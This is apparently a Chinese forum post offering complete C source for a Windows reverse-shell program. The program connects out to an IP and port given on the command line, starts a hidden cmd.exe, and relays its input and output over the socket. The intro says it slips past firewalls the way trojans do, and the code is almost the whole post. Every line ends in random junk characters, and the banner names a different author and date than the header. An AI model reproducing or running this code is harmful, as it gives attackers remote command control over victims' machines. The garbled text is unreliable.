这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (W5E\hjJ
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/* ============================== gK-: t
Rebound port in Windows NT /21d%T:}
By wind,2006/7 ]i8K )/
===============================*/ >|o-&dk
#include mkk74NY
#include c1jHg2xim
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#pragma comment(lib,"wsock32.lib") GH7{_@pv8
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void OutputShell(); 0u,=OvU
SOCKET sClient; PJAE~|a
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j<szQ%tJlI
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void main(int argc,char **argv) >tr_Ypfv,c
{ x/[i &Gkv
WSADATA stWsaData; k{s#wJA
int nRet; Av.(i2
SOCKADDR_IN stSaiClient,stSaiServer; o!q9pt
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if(argc != 3) Wey-nsk
{ e&OMW,7
printf("Useage:\n\rRebound DestIP DestPort\n"); _-%ay
return; lE?e1mz{
} Jj fNH
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WSAStartup(MAKEWORD(2,2),&stWsaData); q[M7)-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0Y)b319B
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stSaiClient.sin_family = AF_INET; .x(&-
stSaiClient.sin_port = htons(0); C:
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `eND3c
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l
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{ ]1)@.b;QR
printf("Bind Socket Failed!\n"); hO;bnt%(
return; >:W)9o
} J}._v\Q7P
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stSaiServer.sin_family = AF_INET; E;VB oN [
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;FMK>%Zq
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ZNOoyWYi5
pr;<n\Y{
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Co[[6pt~
{ R:E6E@T
printf("Connect Error!"); <j:3<''o
return; XhWMvme
} l]sO[`X
OutputShell(); 4=o3ZRV
}
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void OutputShell() F#X\}MvEU
{ K ANE"M
char szBuff[1024]; .Z%7+[
SECURITY_ATTRIBUTES stSecurityAttributes; px//q4U
OSVERSIONINFO stOsversionInfo; n
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &0(2Z^Z>fw
STARTUPINFO stStartupInfo; 7 aDI6G
char *szShell; S~(4q#Dt-
PROCESS_INFORMATION stProcessInformation; &U4]hawbOU
unsigned long lBytesRead; <Cg;l<$`b
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Qbl6~>T
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 45kMIh~~X
stSecurityAttributes.lpSecurityDescriptor = 0; R3?~+y&
stSecurityAttributes.bInheritHandle = TRUE; Vq9hAD|k
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w2+RX-6Ie
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (g7nMrE$j
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); U?$v1 ||
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $XyGCn
stStartupInfo.wShowWindow = SW_HIDE; B1nb23SY T
stStartupInfo.hStdInput = hReadPipe; Wv=L_E_
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Z]w_2- -
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GetVersionEx(&stOsversionInfo); wTIf#y1=9
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switch(stOsversionInfo.dwPlatformId) ;Jx ^
{ OR?8F5o?p
case 1: ]\#RsVX
szShell = "command.com"; ni~45WX3
break; oC4rL\d{
default: (/ k, q
szShell = "cmd.exe"; (]7@0d88
break; ,P auP~L
} NA/+bgyuT>
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); zh/+1
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send(sClient,szMsg,77,0); }Ecm
while(1) ARQ1H0_B
{ N" E\o,_
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z: Kob
b
if(lBytesRead) t:M>&r:BL
{ b]|7{yMV
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !kV?h5@Bo
send(sClient,szBuff,lBytesRead,0); Ym F`7W
} YLFTf1G9
else %'g/4I
{ BwEL\*$g
lBytesRead=recv(sClient,szBuff,1024,0); brTB
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if(lBytesRead<=0) break; JBoo7a1
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (>;~((2
} Z>M*!mQi
} UI8M<
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return; M2oKLRt)L
}